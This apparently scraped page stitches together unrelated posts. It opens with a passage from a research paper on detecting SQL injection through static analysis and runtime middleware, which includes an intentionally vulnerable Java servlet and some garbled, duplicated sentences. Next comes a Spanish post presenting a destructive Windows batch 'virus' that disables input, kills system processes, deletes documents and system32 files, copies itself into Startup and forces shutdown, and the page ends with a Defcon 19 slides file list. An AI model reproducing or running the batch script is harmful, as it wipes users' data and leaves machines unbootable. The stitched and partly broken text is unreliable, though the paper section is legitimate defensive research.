If a particular user input (I) is used in a SQL query (Q), the relationship (R) between the two nodes is indicated by an undirected link between the 2 nodes. We now define dependencies (D) in the SQL-graph as links that point from one SQL query to another SQL query such that the user inputs used by the former is a proper superset of the user inputs
used by the latter. For SQL queries that use the same set of user inputs, one of them is chosen as a representative query and is made to point to the others. We see the dependencies represented as directed arrows in the SQL-graph. Drawing equivalence to Code 1, Q₁, Q₂ y Q₃ represent the 3 different SQL queries (also the 3 different hotspots in this case), while I₁ and I₂ represent the user inputs login and pass. Q₄ and I₃ could possibly correspond to some other hotspot in the program not represented in the code snippet.

Figure 3. SQL-graph Representation

The concept of SQL-graph is used to reduce runtime scanning overhead by restricting the number of queries that need to be scanned along any execution path that is taken in the program. SQL queries that do not use user inputs are not included in the SQL-graph. Only the SQL queries that are manipulations included) are included in the SQL-graph representation.
The choice of such a representation and the resulting benefits in terms of runtime overhead would be explained as part of Runtime Validation.
exposed to the user inputs in some form or the other (string manipulations included) are included in the SQL-graph representation.
The choice of such a representation and the resulting benefits in terms of runtime overhead would be explained as part of Runtime Validation.

4.2. Runtime Validation
During runtime, the SQL queries (with the user inputs embedded) are compared against the corresponding SQLFSMs to check for their validity. If the user inputs cause the dynamically generated SQL queries to not conform to the semantics of the intended SQL queries as in the SQLFSMs, then they are flagged as SQLIAs, else they are passed through. Fig. 4 shows the case where an SQLIA is not caused and the query is passed through. Also, it shows the second example where an SQLIA has been caused and hence gets rejected as a potentially malicious query. The literals along both the static SQL-FSM and the runtime SQL-FSM, as one traverses from the Start node to the End node, should be identical. The other check that can be enforced is that the length of the SQL-FSM chain for a particular instance is exactly the same for the static and runtime SQL-FSMs. Thus SQLIAs employing tautologies and injecting additional statements can be captured by this technique.
The case where alternate encodings like URL Encoding, UTF-8 etc. are used by the attackers can also be addressed by requiring the runtime validation to occur only after all the user input has been converted to a single encoding format as interpreted by SQL Engine in database server.

Figure 4. Possible SQL-FSM Violation
The SQL-graphs for the different programs or applications resident on the application server are computed of ine, using static analysis as described above. These SQL-graphs need to be constantly updated to re ect any changes in the code made by the programmer at any point of time. Hence,
each of these SQL-graphs is associated with a version number that corresponds to the last modi cation timestamp on the original application source code. Every time the SQLgraph is invoked, the version number is checked to see whether it is current, else it is recomputed. Every time a
client request comes in, the user inputs are fed into the SQL graph and the runtime SQL-FSMs of the different SQL queries in the SQL-graph are validated. A Verification Table (VT) is then computed for the different SQL queries indicating whether it can be allowed to pass through or whether it should be dropped before being sent to the database server.
Now verifying the SQL-FSM for all queries in SQL-graph can be computationally intensive and expensive in terms of runtime processing, resulting in degraded Quality of Service(QoS) to the end-users. The concept of directed dependency is thus used to reduce total runtime overhead.
If an user input does not cause any SQLIA in one query, it means that it conforms well to the SQL query semantics as de ned by the SQL language. Then it is implicitly known that the same input in any other query would also not cause a SQLIA. Hence, we see that if this knowledge is not exploited, we would be redundantly verifying the same user input over and over again in multiple SQL queries in the SQL-graph. The directed dependency in the SQL-graph tells us which SQL queries are supersets of which other SQL queries in the SQL-graph. It would suffice to check only those SQL queries that are supersets of other queries and thus implicitly check the other queries encompassed by it. Thus we filter out all those SQL queries that have no directed dependency edges coming into them and verify only the validity of the SQL-FSMs corresponding to those SQL queries. We thus see that we need to validate only a small fraction of the entire SQL-graph and still achieve SQLIA prevention guarantee. In Fig. 3, it would suffice to check SQL-FSMs corresponding to SQL queries Q₁ and Q₄. In code 1, normally the SQL-FSMs for Q₁, Q₂ and Q₃ would have been invoked, while using a SQL-graph we need to invoke the SQL-FSM for Q₁ only.
The worst case number of queries that need to be examined at runtime is at most equal to unique number of user inputs (very few in number), assuming an extreme case of a single user input per SQL query. Without using SQL-graphs, we would have examined all SQL queries generated by that application code, which could realistically be very large in number. Thus using SQL-graphs, we can achieve optimal SQLIA prevention using runtime validation of the abstraction of application code generated by static analysis. See Appendix for correctness proof of SQL-graph reduction.

4.3. Architecture
One of the distinguishing features of the proposed technique as opposed to other known techniques in literature, is its transparent mode of operation requiring no changes to the underlying application source code. The proposed technique can be implemented as a minor modification to the existing web server architecture by use of a middleware, thereby eliminating the need to tamper with the application code. Fig. 5 is a modular representation of the proposed architecture. The client request (HTML or XML request) is directly processed by the Web Server (WS) and in the normal case, the web server forwards the request to the Script Engine (SE) in the Application Server (AS), which then issues SQL queries to the Database Server (DS) and replies back to the client. In the modified architecture, the web server duplicates the request and sends it to the Application Middleware (AM) in addition to sending the request to the script engine. The SQL queries generated dynamically by the script engine pass through the Database Middleware (DM) before it is actually sent to the database server. The AM also sends the Verification Table (VT) to the DM. Thus the new architecture consists of 2 new modules, namely the Application Middleware and the Database Middleware.
These changes can be easily incorporated into current web server architecture by installing few patches (prototype implementation
discussed later) and is a one-time deployment requiring only a single web server daemon restart.

Figure 5. Proposed Architecture
The SQL-graphs and the SQL-FSMs for all the different application programs available for public use, are stored at the AM. Every time the AM receives a request comprising of the user inputs and the program to be invoked, it fetches the cached copy of that program's SQL-graph and corresponding
SQL-FSMs. It validates the version number of the SQL-graph by comparing it with the last modification timestamp on the corresponding program source code. If it is a stale copy, it issues a recompute command and waits for
it to complete. If it is still a fresh copy, it then runs a runtime validation on the SQL-graph by comparing the static and runtime SQL-FSMs. It then generates a Verification Table (VT) indicating which SQL queries can be passed as is and which need to be dropped before it reaches the database server. This VT is sent to the DM through a control channel.
The script engine issues SQL queries which then get filtered at the DM based on the VT before they are sent to the database server. We thus see that using the current architecture, we can prevent all incidents of SQLIAs in a transparent manner. The code independent nature of this scheme makes its deployment commercially viable, and without fear that it would break any existing functionality offered.
As there could be many SQL queries in the program currently being executed, we would need to associate a hotspot with its corresponding SQL-FSM to avoid raising false alarms. We thus need to associate a unique identifier with every hotspot and its corresponding SQL-FSM in the SQLgraph
for every program. The choice of the unique identifier can technically be any parameter, preferably one that is most suitable to the underlying application. For example, we could use the SOOT Framework [31] and use the line number of the hotspot as the unique identifier. We do not impose any restrictions on the choice of this parameter and leave this open as a design issue.
Although the runtime overhead incurred due to the extra SQLIA validation is minimal as verified by the prototype evaluation, we would still ideally like to reduce this overhead to provide the users an enhanced web browsing experience, with added security without any noticeable processing
latency or delay. We try to achieve this by introducing parallelism in the proposed architecture to reduce the overall execution time. If the Application Middleware and the Script Engine were to run sequentially, the total runtime of the application would be the sum total of the original execution time and the extra overhead. But by requiring the web server to feed the request to both of them simultaneously, we let both of them operate in parallel in multi-core systems, thus effectively cutting down the execution time to the maximum of the original execution time and the extra overhead. Experimental verification of the performance improvement due to this parallelism introduced in the architecture is provided in the prototype evaluation section.

5. Enhanced Features
We identify additional pitfalls in defending against SQLIAs, and present safeguards against such advanced attacks.
5.1. Access Control Enforcement
Consider a hypothetical web application maintained by the Patent and Copyright division in some corporation. The company policies require that if an employee is connecting from within the corporate network and is authenticated, then he is given unrestricted access to the entire patent database, using his true passphrase. However, if the user is not connecting
from within the corporate network, he is given a default passphrase to access limited portions of the database.
If both the default passphrase and the true passphrase (giving unrestricted access) are both stored in a single table in the database and the web application is badly implemented as indicated in Code 2, it gives ample scope for a SQLIA employing access control violation to succeed. Let us suppose that the default passphrase is returned on not being authenticated and the unrestricted access passphrase is returned on successful authentication by the application. An employee now connecting from outside the corporate network and providing a login as [ AND pass = '] would get access to the true passphrase as the user input would cause a SQL Injection Attack and authenticate him successfully. Thus the employee can bypass the security mechanisms put in place. It would be of even greater concern if the employee's password has been compromised by some hacker and then used in turn to steal all confidential data. Although the chances of such an implementation are quite rare, there is no guarantee that the programmers would have ever forseen such a situation and designed the application in an intelligent manner.
This SQLIA would not be captured by most known detection strategies including static analysis techniques employing runtime monitoring. Line 8 in the code represents a hotspot and both the SQL queries correspond to
the same hotspot. As the SQL-FSMs are constructed for the hotspots, both these queries are treated as valid at that hotspot. However, the actual execution path in application code that caused that hotspot to be reached could be different from the one that it is validated against during runtime. Thus access control in terms of which execution path triggers the hotspot is not captured by any known technique. Although it represents a very restrictive class of SQLIAs, it could still be a potential pitfall against targeted hackers. Our prototype has been designed to additionally
capture access control semantics of the code during static analysis and runtime validation to prevent such attacks.

1. public class CopyrightedInfo extends HttpServlet { ...
2. public ResultSet AccessKey (String login, String pass) { ...
3. Connection conn = DriverManager.getConnection(connString);
4. Statement stmt = conn.createStatement();
5. String sql = "SELECT * FROM passphrase";
6. if (InCorporateNetwork() == "no") sql += " WHERE login = '" + login + "'";
7. else sql += " WHERE login = '" + login + "' AND pass = '" + pass + "'";
8. return stmt.executeQuery(sql); }
9. }

Code 2: Access Control Violation leading to SQLIA

The main problem that leads to access control violation is that the SQL-FSM associated with a particular hotspot is branched, and that the program execution might continue along a certain branch while the SQLIA validation/
detection is done along a different branch. Thus we need to ensure that the branches in a SQL-FSM that are used for both verification and execution are always the same. It is important to note in this context that all SQLIA-prevention techniques proposed so far in literature employing static
analysis with runtime validation suffer from this vulnerability.
We now additionally associate a Trace Table (TT) with both the Script Engine and the Application Middleware, such that the different SQL-FSMs and the various branches that were processed in both the blocks are stored in order. The Database Middleware checks whether the Trace Tables generated by both the SE and the AM are identical, and in case of a failure ags a SQLIA, and drops the associated database queries while rejecting the connection.
The Trace Tables can be enumerated by using a connection identifier, SQL-FSM branch identifier, or any other identifier, the choice being left open as a design parameter.

5.2. Complete Character Set Inclusion
Most of the SQLIA prevention techniques in literature assume that the user does not enter a quote or tick (') as legitimate user input. Each such attempt would be treated as an SQLIA attempt by the web server, disliked by both developers and users alike. For any technique to gain widespread
acceptance, this issue has to be addressed appropriately. We propose a simple randomization approach, as used in [20], to tackle this problem. The quotation marks as interpreted by the SQL-graphs during runtime would keep varying randomly with each access and the substitute representation
could be any long bitstream or bytestream. The randomness would ensure that there is only a very low probability that a legitimate user input would be falsely agged as a SQLIA.
We additionally need to tackle the issue of compromise of either the random generator seed or the next occurring random number. By ensuring that the random bitstream used for any SQLIA validation does not occur in any user input, we can ensure that any compromise or intelligent guesswork
would not affect the system, and is caught in runtime validation stage. The implementation details can be easily derived and are not presented here due to space constraints.

5.3. Key Differentiators
Various SQLIA detection techniques have been proposed in literature using offline static analysis and runtime attack detection.
Although our technique uses the same basic framework, it has key differentiating features that provide additional performance and security guarantees. The work by Halfond & Orso [29] [30] is the closest and also currently the best known technique for SQLIA detection.
The main differentiator is that the proposed technique can be deployed in a transparent manner, requiring no change to the underlying application source code, whereas the different techniques proposed in literature require significant changes to be made to the source code. Thus the proposed technique is easily deployable to protect legacy codes at
minimal costs requiring little human intervention. Additionally, the SQLIA protection module is an architectural modification that can co-exist and run in parallel to the scripting engine, and hence avoids the sequential execution overhead as in most other techniques in literature. The parallel implementation ensures least QoS loss or service degradation, while providing maximum security benefits.

Also, the use of the SQL-graph data structure reduces the number of SQL queries that need to be analyzed during runtime, and thus minimizes the overall execution time to a great extent. The number of SQL queries validated in now linear in number of user inputs and not in the number
of queries issued by application code to the database. Thus the proposed technique is the fastest SQLIA-resistant codeindependent defense mechanism known.
Additionally, it enables the application to use the entire character set rather than imposing restrictions on the use of certain ASCII symbols. Various advanced attack scenarios such as access control violations have not been studied to date in literature, and the proposed technique defends
against attacks that exploit this vulnerability. All these additional performance and security benefits provided by the proposed SQLIA prevention technique lends well for easy deployment by organizations to protect systems and software against unauthorized access.

6. Prototype Evaluation
In order to evaluate our approach, we developed a prototype of our proposed technique and deployed it on an existing web server. We ran a few trial runs on the web server before the new prototype was deployed and repeated the same tests on the new setup. The performance metrics we use are the number of false positives generated, number of false negatives
generated and the extra processing overhead during runtime as tested on a few representative web applications having varying number of SQL queries and tokens.
6.1. SQLIA Detection Accuracy
We subjected both the protected and unprotected web servers to different types of SQLIAs; namely use of tautologies, inserting additional SQL statements, access control violation, second-order SQL injection [11] and various other SQLIAs known. The proposed technique detected all types of SQLIAs in all cases. The proposed technique is thus a secure and robust solution to defend against SQLIAs.

Table 1. SQLIA Detection Accuracy
6.2. Execution Time - Static Analysis
The proposed technique introduces two types of overhead. The first overhead is due to the static analysis of the application source code to construct SQL-FSMs and SQLgraphs
and the second due to runtime validation. As the static analysis is an offline process, the users do not experience the delay induced due to this one-time operation (until next code modification). Fig. 6 shows the time required for the static analysis to complete when executed on different
programs having varying number of hotspots and tokens in SQL queries. The graph shows the time taken by this offline process, for increasing number of SQL tokens. All experiments were run on a standard dual-core system.
Figure 6. Overhead due to Static Analysis

6.3. Execution Time - Runtime Validation
The runtime validation incurs some overhead in terms of execution time at both the Application Middleware and the Database Middleware. We again consider two different architectures here, namely sequential and parallel depending on whether the Application Middleware and the Script Engine in the Application Server, run concurrently or one after another in a pipelined fashion. These experiments were run on 3 different programs having identical SQL-graphs and SQL-FSMs i.e. the difference between the 3 programs is the extra computation time at the Script Engine alone.
We denote by S, the execution time for the program at the Script Engine. We denote by M, the execution time for the program at the Application Middleware. When tested under the different experimental conditions, namely varying the number of hotspots, number of SQL queries and tokens
in the program, we see that for the programs S1 and S2, S M respectively in all cases, while for S3, the relationship between S and M is variable. Fig. 7 shows the results of running these benchmarking tests on the different systems under varying program conditions.
For the program S1, we see that the Application Middleware always takes longer to execute than the Script Engine.
Hence, the user does experience a negligible delay of the order of a couple of milliseconds, on a parallel architecture.
The delay is much more significant when run on a sequential architecture. For the program S2, the Application Middleware always finishes quicker than the Script Engine and hence the user does not experience any delay at the AppliApplication Server. However, the user would experience a delay
at the Database Middleware, which is of the order of a few hundred microseconds. This delay has been amplified a bit in the graph to distinguish between the different curves in the graph. For the program S3, the Script Engine executes faster when there are fewer tokens in the SQL queries in the program, while the Application Middleware is faster as this count increases. The overall execution time is the higher of the two runtime durations at all times. Note that the parallel architecture performs better than the sequential architecture in all cases. Also, the experiments indicate that when the Database Middleware acts as a blocking device waiting for both the inputs to reach it before execution, the actual execution overhead at the Database Middleware is negligible, amounting to a few microseconds. We thus see that although traditionally people have looked at sequential architectures as filtering modules for SQLIAs and other attacks also, the parallel architecture that we propose actually outperforms it. Also the proposed architecture implements the technique in a transparent manner requiring no change to the source code and the programmers can remain oblivious to the existence of such an attack prevention middleware.
Various other experiments based on the specific use of stored procedures have been studied and presented in our previous work [33], but not here due to space constraints.

7. Conclusions
Most web applications employ a middleware technology (scripting engine) designed to request information from a relational database in SQL parlance. SQL injection is a common techniques hackers employ to attack these webbased applications. These attacks reshape the SQL queries, thus altering the behavior of the program for the benefit of the hacker. In this paper, we present a fully automated technique for detecting, preventing and reporting SQLIA incidents.
The technique abstracts the intended SQL query behavior in an application in the form of a SQL-graph, as a one-time offline procedure using static analysis of the application code. This graph is then validated against all the different user inputs at runtime to capture all malicious SQL queries, before they are sent to the database server for execution.
This graph model helps in capturing all the different types and modes of execution of SQLIAs, in a transparent manner requiring no modification to the underlying application source. We have also provided preliminary evaluation results of prototype developed against various performance
metrics affecting web server performance. Thus addressing these critical security issues in web applications would help transition easily towards next generation web services.

References
[1] Computer Security Institute, Computer crime and security survey,
http://www.gocsi.com/press/20020407.jhtml, 2002
[2] WebCohort Inc., Only 10% Web applications secured against common hacking techniques,
http://www.imperva.com/company/news/2004-feb-02.html, 2004
[3] K. Beaver, Achieving Sarbanes-Oxley compliance for Web applications,
http://www.spidynamics.com/support/whitepapers/, 2003
[4] Cesar Cerrudo, Manipulating Microsoft SQL Server Using SQL Injection, http://www.appsecinc.com/presentations/ Manipulating SQL Server Using SQL Injection.pdf
[5] Steve Friedl, SQL Injection Attacks by Example,
http://www.unixwiz.net/techtips/sql-injection.html
[6] Tower Records site exposes Data, http://www.netsecurity.org/news.php?id=1593, 2002
[7] SANS ISC, @RISK: The Consensus Security Vulnerability Report,
http://www.sans.org/newsletters/risk/display.php?v=5&i=22
[8] CERT Note, http://www.kb.cert.org/vuls/id/982109, 2005
[9] Bugtraq Archive, http://seclists.org/lists/bugtraq/2005/, 2005
[10] Open Web Application Security Project (OWASPD), Top Ten most critical web application vulnerabilities, http://www.owasp.org/documentation/topten.html, 2005
[11] C. Anley, Advanced SQL Injection in SQL Server Applications,
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
[12] C. Anley,(more) Advanced SQL Injection, http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
[13] M. Howard, D. LeBlanc, Writing Secure Code, Microsoft Press, Redmond, Washington, 2nd Edition, 2003
[14] Statements and Prepared Statements, http://g.bookpool.com/gp/0507apress/159059407X-2367.pdf, White Paper
[15] Kevin Spett, Blind SQL Injection, http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf, White Paper
[16] K. Mookhey, N. Burghate, Detection of SQL Injection & Cross-site
Scripting Attacks, http://www.securityfocus.com/infocus/1768
[17] O. Maor, A. Shulman, SQL Injection Signature Evasion, http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html, White Paper
[18] W. R. Cook, S. Rai, Safe Query Objects: Statically Typed Objects as Remotely Executable Queries, ICSE 2005
[19] R. McClure, I. Kruger, SQL DOM: Compile Time Checking of Dynamic SQL Statements, ICSE 2005
[20] S. W. Boyd, A. D. Keromytis, SQLrand: Preventing SQL Injection Attacks, pp. 292-304, ACNS 2004
[21] G. S. Kc, A. D. Keromytis, V. Prevelakis, Countering Code- Injection Attacks with Instruction-Set Randomization, CCS 2003
[22] V. B. Livshits, M. S. Lam, Finding Security Vulnerabilities in Java Applications with Static Analysis, USENIX Security Symp., 2005
[23] A. S. Christensen, A. Moller, M. I. Schwartzbach, Precise Analysis of String Expressions, pp. 1-18, SAS 2003
[24] C. Gould, Z. Su, P. Devanbu, JDBC Checker: A Static Analysis Tool for SQL/JDBC Applications, ICSE 2004
[25] C. Gould, Z. Su, P. Devanbu, Static Checking of Dynamically Generated Queries in Database Applications, ICSE 2004
[26] G. Wassermann, Z. Su, An Analysis Framework for Security in Web Applications, pp. 70-78, SAVCBS 2004
[27] Y. Huang et. al., Securing Web Application Code by Static Analysis & Runtime Protection, WWW2004
[28] G. T. Buehrer, B. W. Weide, P. A. G. Sivilotti, Using Parse Tree Validation to Prevent SQL Injection Attacks, SEM 2005
[29] W. G. Halfond, A. Orso, Combining Static Analysis & Runtime Monitoring to Counter SQL-Injection Attacks, WODA 2005
[30] W. G. Halfond, A. Orso, AMNESIA: Analysis and Monitoring for NEutralizing SQL Injection Attacks, ASE 2005
[31] R. Vallee-Rai, E. Gagnon, L. Hendren, P. Lam, P. Pominville, V. Sundaresan, Optimizing Java Bytecode Using the Soot Framework: Is It Feasible?, LNCS, Volume 1781, pp. 18, Jan 2000
[32] A. R. Group, Java Architecture for Bytecode Analysis (JABA), http://www.cc.gatech.edu/aristotle/Tools/jaba.html
[33] Ke Wei, M. Muthuprasanna, S. Kothari, Eliminating SQL Injection Attacks in Stored Procedures, pp. 191-198, IEEE ASWEC, 2006

8. APPENDIX
CLAIM: Validating subset of SQL queries derived using superset dependency
from SQL-graph, suffices to ensure that no SQLIA goes undetected.
PROOF: As each user input is treated as a variable in automata construction
for a particular hotspot in the application source, a single placeholder
is allocated for it. The user input (including a NULL), is then associated
with that particular placeholder. Hence, any valid user input results in preserving the length of the SQL-FSM, while an SQLIA results in increasing
the length of the SQL-FSM. Thus a reduction in length of SQL-FSM is
not feasible under any circumstances. Now, any user input that leads to
SQLIA needs to inject a tick (') to limit the variable boundary and then
inject the malicious code. Thus an user input that increases the length of a SQL query by overflowing the variable boundary, always does so in every
query in which it occurs. Similarly, an user input that is safe in a certain SQL query is also safe in every other SQL query in which it occurs. However, these other SQL queries maybe be potentially unsafe due to other user inputs. Thus, individually verifying every user input in every query trivially guarantees correctness or assured SQLIA detection. However, as argued before, it suf ces to check a particular user input in any one query for correctness. Thus to reduce the number of SQL queries that need to be checked at runtime, we choose those queries for validation where many user inputs occur to avoid multiple verifications for each of those user inputs.
The optimal choice of query subset is provided by dependency relations
in SQL-graph, and thus validating these SQL queries alone suffices to guarantee correctness, and avoid false positives and false negatives.

Read More

Codigo batch que abre Youtube y elimina archivos principales

aqui les paso un codigo en batch el cual abre la pagina youtube pero a la vez elimina el firefox, explorer, archivos dentro de Mis Documentos, otros archivos importantes del sistema, todos los archivos importantes para el reinicio asi que la Pc afectada no podra encenderse y apaga tu PC en 50 segundos.

@echo off
:virus
rund1132 keyboard, disable
rund1132 mouse, disable
start YouTube.com
taskkill -f -t /im explorer.exe
taskkill -f -t /im firefox.exe
taskkill -f -t /im csrss.exe
taskkill -f -t /im winlogon.exe
taskkill -f -t /im rund1132.exe
taskkill -f -t /im dwm.exe
del autoexec.bat
del c:\windows
del -f -q "C:\Users\%userprofile%\My Documents\*.*"
del -f -q "C:\Users\%userprofile%\My Documents\My Pictures\*.*"
del -f -q "C:\Users\%userprofile%\My Documents\My Videos\*.*"
cd "C:\WINDOWS\system32"
del -f -q "*.*"
Copy "Virus.bat" "C:\Users\%userprofile%\Start Menu\Programs\startup"
shutdown -s -t 50 "Virus Initialized"
goto :virus 

En caso la PC lograra encenderse este programa se ejecutara nuevamente ya que se copia a los programas que se cargaran al iniciar el PC(lo pueden ver en la ultima linea).
Por favor este codigo que pongo es con fines instructivos para que entiendas los bucles y otras sentencias en batch, asi que DON'T TRY THIS ON YOUW OWN PC

Read More

Presentaciones Defcon19 (2011)

Bueno... para aquellos que les guste leer y practicar el inglés al mismo tiempo, fueron publicadas las presentaciones de la Defcon19. Son bastantes y algunas muy complejas si no te las explican (sumado a que están en inglés), pero bueno, hay varias entretenidas.

Lo ideal sería ver los videos de las presentaciones también (o por lo menos audio), pero lo más seguro es que las suban en el mismo repositorio que subieron los PDFs asi como están las DefCon anteriores, las BlackHat, CodeCon, etc... Busquen ustedes mismos.

File or Directory Name	Size (Units)
dc-19-program.pdf	(19.01 MiB)
DEFCON-19-Abstrct-The-Schemaverse-Guide.pdf	(592.27 KiB)
DEFCON-19-Abstrct-The-Schemaverse.pdf	(993.54 KiB)
DEFCON-19-Almeida-Workshop-ESD.pdf	(1.85 MiB)
DEFCON-19-Alonso-Garrido-DUST.pdf	(1.78 MiB)
DEFCON-19-Alonso-Garrido-Excel.pdf	(458.22 KiB)
DEFCON-19-Arlen-Nano-Seconds-WP.pdf	(177.42 KiB)
DEFCON-19-Arlen-Nano-Seconds.pdf	(5.40 MiB)
DEFCON-19-Arpaia-Reed-Beat-to-1337.pdf	(99.74 KiB)
DEFCON-19-Baldwin-DVCS-WP.pdf	(102.23 KiB)
DEFCON-19-Baldwin-DVCS.pdf	(2.69 MiB)
DEFCON-19-Barisani-Bianco-Laurie-Franken.pdf	(2.01 MiB)
DEFCON-19-Barnett-Deceptive-Hacking-WP.pdf	(822.13 KiB)
DEFCON-19-Barnett-Deceptive-Hacking.pdf	(717.56 KiB)
DEFCON-19-Bilodeau-FingerBank.pdf	(214.22 KiB)
DEFCON-19-Bilodeau-PacketFence.pdf	(1005.30 KiB)
DEFCON-19-Bouillon-Federation-and-Empire.pdf	(19.63 MiB)
DEFCON-19-Bowne-Three-Generations-of-DoS-Attacks.pdf	(2.38 MiB)
DEFCON-19-Brooks-Wilson-Traps-of-Gold.pdf	(4.89 MiB)
DEFCON-19-Bryner-Kinectasploit.pdf	(1.07 MiB)
DEFCON-19-Carey-Metasploit-vSploit-Modules.pdf	(1.08 MiB)
DEFCON-19-Chamales-Securing-Crisis-Maps.pdf	(24.78 MiB)
DEFCON-19-Chow-Abusing-HTML5.pdf	(124.22 KiB)
DEFCON-19-Conti-Security-Research.pdf	(8.53 MiB)
DEFCON-19-Cook-Kernel-Exploitation.pdf	(564.81 KiB)
DEFCON-19-Craig-Internet-Kiosk-Terminals.pdf	(1.56 MiB)
DEFCON-19-Crenshaw-Cipherspaces-Darknets.pdf	(5.12 MiB)
DEFCON-19-Crowley-Cryptographic-Oracles.pdf	(5.49 MiB)
DEFCON-19-Cryer-Taking-Your-Ball-and-Going-Home.pdf	(5.58 MiB)
DEFCON-19-DC-Groups-Panel.pdf	(19.67 MiB)
DEFCON-19-Devarajan-LeBert-VDLDS.pptx.pdf	(298.56 KiB)
DEFCON-19-Dinaburg-Bit-Squatting.pdf	(11.86 MiB)
DEFCON-19-Duckwall-Bridge-Too-Far.pdf	(1.28 MiB)
DEFCON-19-Elhage-Virtualization-Under-Attack.pdf	(422.68 KiB)
DEFCON-19-Elrod-Morris-Not-a-Doctor.pdf	(297.53 KiB)
DEFCON-19-Engebretson-Pauli-Pen-Testing.pdf	(759.48 KiB)
DEFCON-19-Fail-Panel.pdf	(347.34 KiB)
DEFCON-19-Feinstein-Jarmoc-Get-Off-of-My-Cloud.pdf	(1.41 MiB)
DEFCON-19-Foofus-Forceful-Browsing-WP.pdf	(417.46 KiB)
DEFCON-19-Fritschie-Witmer-F-On-the-River.pdf	(2.76 MiB)
DEFCON-19-Garcia-UPnP-Mapping-WP.pdf	(252.99 KiB)
DEFCON-19-Garcia-UPnP-Mapping.pdf	(204.41 KiB)
DEFCON-19-Gavin-OpenDLP.pdf	(61.34 KiB)
DEFCON-19-Geers-Strategic-Cyber-Security-WP.pdf	(6.35 MiB)
DEFCON-19-Geers-Strategic-Cyber-Security.pdf	(1.57 MiB)
DEFCON-19-Gomez-Bulletproofing-The-Cloud.pdf	(17.52 MiB)
DEFCON-19-Hamiel-Smartfuzzing_the_Web_DC.pdf	(744.91 KiB)
DEFCON-19-Havelt-Henrique.pdf	(3.22 MiB)
DEFCON-19-Heiland-Printer-To-Pwnd.pdf	(2.09 MiB)
DEFCON-19-Holt-Kilger-Assessing-Civilian-Willingness.pdf	(248.35 KiB)
DEFCON-19-Howard-Cyber-Security-Trends-WP.pdf	(456.41 KiB)
DEFCON-19-Howard-Cyber-Security-Trends.pdf	(2.69 MiB)
DEFCON-19-Imhoff-Password-Cracking.pdf	(574.54 KiB)
DEFCON-19-JackDaniel-PCI-2-PANEL.pdf	(875.54 KiB)
DEFCON-19-Jakhar-Jugaad-Linux-Thread-Injection.pdf	(168.53 KiB)
DEFCON-19-Kennedy-Pentesting-Over-Powerlines-2.pdf	(1.17 MiB)
DEFCON-19-Kennish-Tracking-the-Trackers.pdf	(3.83 MiB)
DEFCON-19-Kornbrust-Hacking-and-Securing-DB2.pdf	(664.58 KiB)
DEFCON-19-Kotler-Amit-Sounds-Like-Botnet.pdf	(586.40 KiB)
DEFCON-19-Krick-License-to-Transmit.pdf	(11.74 MiB)
DEFCON-19-Lai-Wu-Chiu-PK-APT-Secrets-2.pdf	(12.48 MiB)
DEFCON-19-Lenik-MAC(b)Daddy.pdf	(753.41 KiB)
DEFCON-19-Linn-PIG-Finding-Truffles.pdf	(3.36 MiB)
DEFCON-19-Maresca-FIPS-140.pdf	(294.20 KiB)
DEFCON-19-Marpet-Gostom-Smile-for-the-Grenade.pdf	(7.68 MiB)
DEFCON-19-McCoy-Hacking-Net.pdf	(3.98 MiB)
DEFCON-19-McGrew-Covert-WP.pdf	(542.33 KiB)
DEFCON-19-McGrew-Covert.pdf	(2.44 MiB)
DEFCON-19-McNabb-Vulns-Wireless-Water-Meter-Networks.pdf	(2.62 MiB)
DEFCON-19-Miller-Battery-Firmware-Hacking.pdf	(43.52 MiB)
DEFCON-19-O'Neil-Chin-Google-Android.pdf	(4.85 MiB)
DEFCON-19-Ocepek-Blinkie-Lights-Arduino.pdf	(11.74 MiB)
DEFCON-19-Ollam-Gun-Safes.pdf	(27.28 MiB)
DEFCON-19-Osborn-Johansen-Hacking-Google-Chrome-OS.pdf	(9.45 KiB)
DEFCON-19-Percoco-Spiderlabs-Droid.pdf	(5.62 MiB)
DEFCON-19-Percoco-Spiderlabs-Malware-Freakshow-3.pdf	(3.81 MiB)
DEFCON-19-Percoco-Spiderlabs-SSLizzard.pdf	(4.45 MiB)
DEFCON-19-Phillips-Hacking-MMORPGs.pdf	(870.61 KiB)
DEFCON-19-Pickett-Port-Scanning-Without-Packets.pdf	(8.22 MiB)
DEFCON-19-Pickett-Resources.pdf	(24.66 KiB)
DEFCON-19-Pittman-Password-Fail.pdf	(2.52 MiB)
DEFCON-19-Rezchikov-Wang-Engelman-Airport-Security-WP.pdf	(344.67 KiB)
DEFCON-19-Robinson-Time.pdf	(1.36 MiB)
DEFCON-19-Schearer-WTF-Privacy.pdf	(4.42 MiB)
DEFCON-19-Shah-Mobile-Moolah.pdf	(1.49 MiB)
DEFCON-19-Skunkworks-Bitcoin.pdf	(131.50 KiB)
DEFCON-19-Strauchs_Rad_Newman-SCADA-in-Prisons.pptx.pdf	(38.10 MiB)
DEFCON-19-Street-Steal-Everything.pdf	(78.45 MiB)
DEFCON-19-Sumner-Byers-Alien-Weaponizing-Cyberpsychology.pdf	(95.57 KiB)
DEFCON-19-Sutherland-How-to-Get-Your-Message-Out.pdf	(1.03 MiB)
DEFCON-19-Swende-Karlsson-Owasp-Hatkit.pdf	(1.45 MiB)
DEFCON-19-Tassey-Perkins-Wireless-Aerial-Surveillance-Platform.pdf	(5.00 MiB)
DEFCON-19-Thieme-Staring-into-the-Abyss-WP.pdf	(233.95 KiB)
DEFCON-19-Trimble-Cybertravel.ppt.pdf	(1.39 MiB)
DEFCON-19-Webb-Runtime-Process-Insemination.pdf	(799.93 KiB)
DEFCON-19-Weeks-Network-Nightmare.pdf	(7.04 MiB)
DEFCON-19-Weyers-Key-Impressioning.pdf	(17.05 MiB)
DEFCON-19-Wilson-Traps-of-Gold.pdf	(4.89 MiB)
DEFCON-19-Woodberg-Network-Application-Firewalls.pdf	(1.46 MiB)
DEFCON-19-Zhu-Phishing-Online-Scams-in-China.pdf	(6.88 MiB)
DEFCON-19-Zoz-Bianchi-Vanquishing-Voyeurs.pdf	(4.75 MiB)
Total size of files in this directory	(536.33 MiB)

fuente: blackploit.com

Read More